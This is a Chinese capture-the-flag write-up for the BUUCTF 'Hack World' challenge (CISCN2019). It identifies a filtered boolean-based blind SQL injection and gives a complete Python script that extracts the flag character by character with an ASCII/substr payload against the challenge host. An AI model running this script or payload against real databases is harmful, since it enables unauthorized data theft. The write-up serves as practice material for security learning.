BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World

[CISCN2019 华北赛区 Day2 Web1]Hack World

先尝试输入一个1
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World_第1张图片

BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World_第2张图片
再尝试猜测闭合。
先尝试单引号
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World_第3张图片
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World_第4张图片
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World_第5张图片
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World_第6张图片
做个小总结,首先根据回显可以判断是布尔类型注入,并且有过滤。
于是利用burp进行fuzz测试看看过滤了哪些关键字。
BUU-WEB-[CISCN2019 华北赛区 Day2 Web1]Hack World_第7张图片
(472是没有被过滤的)
于是根据布尔类型的注入有了一个想法,将flag表里的东西一个字符一个字符的根据ASCII值判断出来,根据bool回显判断对错。
爆破脚本:

import requests

#地址
url = "http://2a876d2c-e3db-43b4-9417-de01f34ec606.node3.buuoj.cn/index.php"

result = ""
num = 0
for i in range(1,60):
    if num == 1:
        break

    for j in range(32,128):
        payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i,j)
        print(str((i - 1) * 96 + j - 32) + ":~" + payload + "~")

        data = {
     
            "id": payload,
        }

        r = requests.post(url, data=data)

        r.encoding = r.apparent_encoding

        if "Hello" in r.text:
            x = chr(j)
            result += str(x)
            print(result)
            break

        if "}" in result:
            print(result)
            num = 1
            break

你可能感兴趣的:(BUU-WEB)